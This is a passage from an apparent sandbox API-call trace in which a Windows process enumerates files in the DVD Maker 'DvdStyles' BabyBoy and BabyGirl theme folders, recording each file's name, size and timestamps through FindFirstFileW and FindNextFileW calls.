ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0237.750] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0237.750] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0237.750] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1 [0237.751] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0237.751] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1 [0237.751] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0237.751] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1 [0237.752] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0237.752] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0x0, dwReserved1=0x0, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1 [0237.752] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1 [0237.752] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1 [0237.753] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1 [0237.753] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 0 [0237.753] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0237.755] GetProcessHeap () returned 0x560000 [0237.755] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0237.755] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0237.755] GetProcessHeap () returned 0x560000 [0237.755] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0237.755] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0237.877] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.878] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0237.878] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0237.879] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0237.879] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0x0, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 1 [0237.879] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0237.879] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 1 [0237.880] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 1 [0237.880] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 1 [0237.880] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 1 [0237.880] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0237.880] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0237.881] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0237.881] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75d, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0237.882] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chapters-static.png", cAlternateFileName="")) returned 1 [0237.882] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729fbb14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729fbb14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4aba6851, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8df12, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0237.882] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a47dce, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a47dce, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-foreground.png", cAlternateFileName="")) returned 1 [0237.882] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6df2b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a6df2b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="curtains.png", cAlternateFileName="")) returned 1 [0237.883] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_precomp_matte.wmv", cAlternateFileName="")) returned 1 [0237.883] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_PreComp_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0238.091] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b788b6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b788b6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x26618, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_matte.wmv", cAlternateFileName="")) returned 1 [0238.091] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b9ea13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b9ea13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x28558, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0238.092] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b0649f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b0649f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b44779d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_rgb.wmv", cAlternateFileName="")) returned 1 [0238.092] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2c5fc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b2c5fc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_RGB_PAL.wmv", cAlternateFileName="")) returned 1 [0238.093] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a94088, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a94088, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0238.093] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72aba1e5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72aba1e5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x239b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainimage-mask.png", cAlternateFileName="")) returned 1 [0238.093] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0x0, dwReserved1=0x0, cFileName="notes-static.png", cAlternateFileName="")) returned 1 [0238.093] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 1 [0238.094] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 0 [0238.094] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0238.094] GetProcessHeap () returned 0x560000 [0238.094] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0238.094] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, 